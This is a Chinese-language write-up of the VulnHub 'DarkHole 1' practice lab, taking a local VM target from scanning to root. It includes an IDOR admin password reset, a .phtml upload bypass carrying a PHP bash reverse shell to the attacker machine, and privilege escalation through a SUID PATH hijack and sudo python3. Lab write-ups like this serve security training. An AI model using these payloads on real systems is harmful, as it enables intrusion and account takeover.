滲透環境
攻擊機: IP: 192.168.216.129(Kali)
靶機: IP:192.168.216.130
靶機下載地址:https://www.vulnhub.com/entry/darkhole-1,724/
進行滲透
一、 獲取埠資訊
nmap或者arp-scan都能掃除IP,這裡就不贅述了。先看看開放了哪些埠。
nmap -O -sV -p- -A 192.168.216.130
開放了22和80埠。
二、 尋找WEB漏洞
訪問80埠,出現登入框,並且可以註冊賬戶
註冊test賬戶並登入,登陸後跳轉到更改使用者資訊和密碼的頁面
猜測這裡存在越權修改其他使用者密碼的漏洞,嘗試修改自己的密碼並抓包
發現有兩個id
,我們新建的使用者id為2,那麼原有的使用者id應該1,嘗試將body裡的id修改為1,返回修改成功
猜測原來的使用者名稱為admin,密碼剛才我們已經成功修改為admin了,嘗試登入
登入成功,且該頁面有上傳功能。經過測試,這裡上傳檔案只對字尾名進行了過濾,當我們上傳php
字尾的檔案時會失敗,但是上傳phtml
字尾的檔案是可以的。這裡可以上傳一句話木馬用蟻劍進行連線,也可以直接上傳反向連線的php程式碼,我們使用後者。
1.phtml內容如下
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>
讓目標主機反向連線192.168.216.129(即攻擊機)的4444埠
上傳1.phtml,顯示上傳成功,並返回了上傳檔案的連結
點選紅框中的File,跳轉到以下URL
http://192.168.216.130/upload/1.phtml
接下來我們在kali上監聽4444埠
nc -nlvp 4444
再次訪問:http://192.168.216.130/upload/1.phtml
看到已經成功反彈了shell,當前使用者是www-data
三、 提權
檢視可以登入/bin/bash
的使用者
cat /etc/passwd | grep /bin/bash
當然也可以透過檢視/home
目錄檢視建立的使用者
常規思路,檢視具有SUID許可權的檔案
find / -perm -u=s -type f 2>/dev/null
發現可疑檔案/home/john/toto
,直接執行該檔案
觀察其輸出,不難猜測,該檔案呼叫了id
命令,因此我們可以採用命令劫持的方式進行提權
echo 'chomd +s /bin/bash' > id #在當前資料夾下寫一個id檔案
chmod 777 id #更改許可權
export PATH=/var/www/html/upload:$PATH #將當前路徑加入環境變數
/home/john/toto #執行該檔案,會呼叫我們重寫的id
執行時發現我們的chmod +s命令發生了許可權錯誤,即我們無法讓自己寫的id檔案擁有SUID許可權,那麼只能先放棄在這裡進行提權,先使用john的身份進行登入
echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")' #建立互動式shell
看到我們已經以john的身份登入進來了。
在/home/john/
下發現password
檔案
得到john使用者的密碼root123
檢視John使用者可執行的特權命令
sudo -l
看到John使用者可以以root身份執行python3
和file.py
。
因此我們可以嘗試修改file.py
的內容
echo "import pty;pty.spawn('/bin/bash')" > file.py
當執行這個py檔案時,會開啟一個可互動的shell
接下來執行這個檔案
sudo python3 /home/john/file.py
在這裡有一個坑,當我們使用相對路徑時會無法執行,使用絕對路徑時才可以,我也不知道為啥
此時我們就已經拿到root許可權了,flag在/root
下,滲透結束